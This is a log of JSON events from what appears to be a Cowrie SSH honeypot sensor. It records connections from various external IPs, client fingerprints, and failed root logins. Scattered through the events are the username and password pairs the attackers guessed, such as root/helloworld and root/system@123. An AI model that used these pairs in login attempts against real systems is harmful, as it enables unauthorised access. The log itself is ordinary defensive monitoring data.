{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:51.045868Z","src_ip":"154.70.102.114","session":"75eade790dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"midnight","message":"login attempt [root/midnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:51.645100Z","src_ip":"43.128.106.207","session":"59a0e5a313ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":58396,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f053fd1535","protocol":"ssh","message":"New connection: 217.154.42.110:58396 (159.203.135.109:22) [session: 21f053fd1535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:51.708412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:51.723615Z","src_ip":"217.154.42.110","session":"21f053fd1535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:51.803642Z","src_ip":"217.154.42.110","session":"21f053fd1535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:51.878802Z","src_ip":"154.70.102.114","session":"75eade790dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nithya","message":"login attempt [root/nithya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:52.153181Z","src_ip":"217.154.42.110","session":"21f053fd1535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:52.884714Z","src_ip":"43.128.106.207","session":"59a0e5a313ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:53.086542Z","src_ip":"154.70.102.114","session":"75eade790dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:53.234748Z","src_ip":"217.154.42.110","session":"21f053fd1535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":41448,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e41e766a48","protocol":"ssh","message":"New connection: 103.96.74.162:41448 (10.17.0.5:22) [session: 27e41e766a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:02.595825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:02.600903Z","src_ip":"103.96.74.162","session":"27e41e766a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:02.830275Z","src_ip":"103.96.74.162","session":"27e41e766a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:03.516570Z","src_ip":"103.96.74.162","session":"27e41e766a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:04.729374Z","src_ip":"103.96.74.162","session":"27e41e766a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":33520,"dst_ip":"10.17.0.5","dst_port":22,"session":"801036c67d85","protocol":"ssh","message":"New connection: 185.40.30.168:33520 (10.17.0.5:22) [session: 801036c67d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:05.809243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:05.814921Z","src_ip":"185.40.30.168","session":"801036c67d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:05.940782Z","src_ip":"185.40.30.168","session":"801036c67d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"system@123","message":"login attempt [root/system@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:06.469473Z","src_ip":"185.40.30.168","session":"801036c67d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:07.594724Z","src_ip":"185.40.30.168","session":"801036c67d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":46956,"dst_ip":"159.203.135.109","dst_port":22,"session":"10ff462a782e","protocol":"ssh","message":"New connection: 43.134.104.184:46956 (159.203.135.109:22) [session: 10ff462a782e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:09.844139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:09.849026Z","src_ip":"43.134.104.184","session":"10ff462a782e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:10.086560Z","src_ip":"43.134.104.184","session":"10ff462a782e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":43848,"dst_ip":"159.203.135.109","dst_port":22,"session":"06eef1d7c96f","protocol":"ssh","message":"New connection: 43.134.112.237:43848 (159.203.135.109:22) [session: 06eef1d7c96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:10.320176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:10.324756Z","src_ip":"43.134.112.237","session":"06eef1d7c96f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:10.569319Z","src_ip":"43.134.112.237","session":"06eef1d7c96f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lyc123","message":"login attempt [root/lyc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:11.066905Z","src_ip":"43.134.104.184","session":"10ff462a782e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iDirect","message":"login attempt [root/iDirect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:11.581845Z","src_ip":"43.134.112.237","session":"06eef1d7c96f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:12.309467Z","src_ip":"43.134.104.184","session":"10ff462a782e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:12.829128Z","src_ip":"43.134.112.237","session":"06eef1d7c96f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":55158,"dst_ip":"159.203.135.109","dst_port":22,"session":"794d29e71181","protocol":"ssh","message":"New connection: 69.49.246.176:55158 (159.203.135.109:22) [session: 794d29e71181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:19.106202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:19.114061Z","src_ip":"69.49.246.176","session":"794d29e71181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:19.136313Z","src_ip":"69.49.246.176","session":"794d29e71181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"williams1","message":"login attempt [root/williams1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:19.275996Z","src_ip":"69.49.246.176","session":"794d29e71181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:20.316299Z","src_ip":"69.49.246.176","session":"794d29e71181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":42774,"dst_ip":"10.17.0.5","dst_port":22,"session":"0da213e568d0","protocol":"ssh","message":"New connection: 103.243.24.124:42774 (10.17.0.5:22) [session: 0da213e568d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:20.389255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:20.394161Z","src_ip":"103.243.24.124","session":"0da213e568d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:20.602235Z","src_ip":"103.243.24.124","session":"0da213e568d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"song123","message":"login attempt [root/song123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:21.022808Z","src_ip":"103.243.24.124","session":"0da213e568d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:22.235523Z","src_ip":"103.243.24.124","session":"0da213e568d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":32850,"dst_ip":"10.17.0.5","dst_port":22,"session":"5207dd432f36","protocol":"ssh","message":"New connection: 154.70.102.114:32850 (10.17.0.5:22) [session: 5207dd432f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:23.376482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:23.380863Z","src_ip":"154.70.102.114","session":"5207dd432f36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:23.581787Z","src_ip":"154.70.102.114","session":"5207dd432f36","protocol":"ssh"}
